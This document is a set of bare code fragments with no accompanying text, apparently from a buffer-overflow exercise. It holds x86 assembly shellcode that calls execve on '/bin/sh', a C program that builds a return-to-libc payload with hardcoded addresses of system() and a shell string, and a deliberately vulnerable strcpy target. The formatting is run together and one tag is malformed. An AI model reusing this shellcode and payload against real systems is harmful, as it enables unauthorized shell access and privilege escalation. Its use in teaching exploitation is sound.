jmp get_str_adress	resume:	popl %esi		# move esp into esi		movl %esi, 0x8(%esi)	# store adress of "/bin/sh"	movb $0x0, 0x7(%esi)	# create null byte	movl $0x0, 0xc(%esi)	# create null word		movl $0xb, %eax		# zero eax	movl %esi, %ebx		# "/bin/sh" as first arg	leal 0x8(%esi), %ecx	# pointer to "/bin/sh"	leal 0xc(%esi), %edx	# pointer to null word	int $0x80		get_str_adress:	call resume		# puts esp on stack (adress of string)	.string "/bin/sh"

#include<stdio.h>int main(int argc,char **argv){        unsigned int buf[]=        {                0xffffffff, //local var a                0xaffff9a8, //base pointer                0xa7ee8f90, //return address <system>                0xffffffff, //return address from system -> segfault                0xaffffb56, //pointer to shell env variable                0x00000000  //null termination        };        printf((char *)buf);        return 0;}

[source lang="C]int main(int argc,char **argv){        volatile int a;        strcpy(&a,argv[1]);        return 0;}